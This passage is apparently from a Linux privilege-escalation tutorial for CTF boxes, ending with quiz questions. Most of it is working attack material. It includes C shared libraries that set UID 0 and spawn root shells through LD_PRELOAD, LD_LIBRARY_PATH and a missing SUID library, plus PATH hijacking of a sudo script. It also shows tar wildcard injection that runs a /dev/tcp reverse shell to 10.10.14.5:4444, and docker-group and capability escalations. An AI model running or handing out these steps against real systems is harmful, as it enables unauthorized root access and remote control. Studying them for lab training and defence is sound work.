# Step 3: Compile it as a shared library
gcc -fPIC -shared -nostartfiles -o /tmp/privesc.so /tmp/privesc.c
# Step 4: Run any allowed sudo command with LD_PRELOAD
sudo LD_PRELOAD=/tmp/privesc.so /usr/bin/any_allowed_command
# → root shell!
# This works with ANY binary that sudo allows you to run.
# Even something harmless like 'sudo LD_PRELOAD=/tmp/privesc.so /usr/bin/id'
# The library loads first, spawns a shell, and the original command never runs.
# If env_keep includes LD_LIBRARY_PATH:
sudo -l
# env_keep += LD_LIBRARY_PATH
# Step 1: Find what libraries the allowed binary loads
ldd /usr/bin/allowed_binary
# linux-vdso.so.1
# libcustom.so.1 => /usr/lib/libcustom.so.1
# libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6
# Step 2: Create a malicious replacement for one of those libraries
cat > /tmp/libcustom.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -o /tmp/libcustom.so.1 /tmp/libcustom.c
# Step 3: Run with the hijacked library path
sudo LD_LIBRARY_PATH=/tmp /usr/bin/allowed_binary
# → root shell
Let's walk through three realistic privesc scenarios step-by-step, showing the full thought process from enumeration to root.
You land on a box as www-data from a web exploit. Here's how you escalate:
# Step 1: Basic enumeration
$ whoami
www-data
$ sudo -l
User www-data may run the following commands:
(root) NOPASSWD: /opt/statuscheck.sh
# Step 2: Examine the script
$ cat /opt/statuscheck.sh
#!/bin/bash
echo "=== System Status ==="
echo "Date: $(date)"
echo "Uptime: $(uptime)"
echo "Disk usage:"
df -h
echo "Network:"
ifconfig
echo "Service status:"
service apache2 status
# Step 3: Analyze — can we modify the script?
$ ls -la /opt/statuscheck.sh
-rwxr-xr-x 1 root root 256 Jan 1 00:00 /opt/statuscheck.sh
# Not writable. But look at the script — it calls commands WITHOUT full paths!
# "df", "ifconfig", "service" — all relative paths
# Step 4: PATH hijacking
$ echo '#!/bin/bash' > /tmp/service
$ echo 'bash -p' >> /tmp/service
$ chmod +x /tmp/service
$ sudo PATH=/tmp:$PATH /opt/statuscheck.sh
# When the script runs "service apache2 status", it finds /tmp/service first
# /tmp/service runs "bash -p" as root
root@target# whoami
root
A custom SUID binary loads a shared library from a writable location:
# Step 1: Find unusual SUID binaries
$ find / -perm -4000 2>/dev/null | grep -v snap
/usr/local/bin/logviewer ← Custom! Investigate.
# Step 2: Analyze the binary
$ strings /usr/local/bin/logviewer
...
/var/log/syslog
Error opening log file
liblogparse.so
...
$ ldd /usr/local/bin/logviewer
linux-vdso.so.1
liblogparse.so => not found ← Library NOT FOUND!
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6
# Step 3: The binary tries to load liblogparse.so but can't find it!
# Check the library search path:
$ strace /usr/local/bin/logviewer 2>&1 | grep liblogparse
openat(AT_FDCWD, "/usr/local/lib/liblogparse.so", O_RDONLY) = -1
openat(AT_FDCWD, "/usr/lib/liblogparse.so", O_RDONLY) = -1
openat(AT_FDCWD, "/lib/liblogparse.so", O_RDONLY) = -1
# It searches /usr/local/lib first — can we write there?
$ ls -la /usr/local/lib/
drwxrwxr-x 2 root staff 4096 Jan 1 00:00 .
# Writable by "staff" group! Check our groups:
$ id
uid=1001(user) gid=1001(user) groups=1001(user),50(staff)
# We're in the staff group!
# Step 4: Create a malicious shared library
$ cat > /tmp/liblogparse.c << 'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void init() {
setuid(0);
setgid(0);
system("/bin/bash -p");
}
EOF
$ gcc -fPIC -shared -o /usr/local/lib/liblogparse.so /tmp/liblogparse.c
# Step 5: Run the SUID binary
$ /usr/local/bin/logviewer
root@target# whoami
root
A root cron job uses tar with wildcards in a user-writable directory:
# Step 1: Enumeration reveals a cron job
$ cat /etc/crontab
*/5 * * * * root cd /home/user/backups && tar czf /var/backups/user-backup.tar.gz *
# Step 2: Analyze the vulnerability
# The cron runs "tar czf ... *" in /home/user/backups/
# The wildcard (*) expands to filenames — including filenames that look like tar flags!
# tar interprets --checkpoint and --checkpoint-action as valid options
# Step 3: Create the exploit files
$ cd /home/user/backups
# Create the reverse shell script
$ echo '#!/bin/bash' > shell.sh
$ echo 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' >> shell.sh
$ chmod +x shell.sh
# Create filenames that tar interprets as options
$ echo "" > "--checkpoint=1"
$ echo "" > "--checkpoint-action=exec=sh shell.sh"
# Step 4: Verify the files exist
$ ls -la
-rw-r--r-- 1 user user 1 Jan 1 00:00 --checkpoint=1
-rw-r--r-- 1 user user 1 Jan 1 00:00 --checkpoint-action=exec=sh shell.sh
-rwxr-xr-x 1 user user 64 Jan 1 00:00 shell.sh
# Step 5: Set up listener and wait
$ # On attacker: nc -lvnp 4444
# Wait up to 5 minutes for the cron to run...
# When cron runs: tar czf /var/backups/user-backup.tar.gz *
# It expands to: tar czf /var/backups/user-backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh
# tar hits checkpoint 1 → executes shell.sh as root → reverse shell!
root@target# whoami
root
python3 with cap_setuid+ep capability. What command escalates you to root?cap_setuid capability allows the binary to change its UID. os.setuid(0) changes the effective UID to 0 (root), then os.system("/bin/bash") spawns a shell that inherits the root UID. Without os.setuid(0), the shell would still run as your original user. This is different from SUID exploitation — capabilities are a finer-grained privilege mechanism.docker group. What command gives you root access on the host?docker group effectively grants root access. docker run -v /:/host -it alpine chroot /host mounts the entire host filesystem (/) into the container at /host, then uses chroot to change root to the host filesystem. You now have a root shell on the host. This is why Docker group membership is considered equivalent to root access.su root and su <username> with any password you discover. This simple check solves many CTF boxes./bin/bash, why must you use the -p flag?-p is not set, bash automatically drops the effective UID to match the real UID — meaning you lose root privileges. The -p (privileged) flag tells bash to preserve the effective UID, keeping your SUID root access.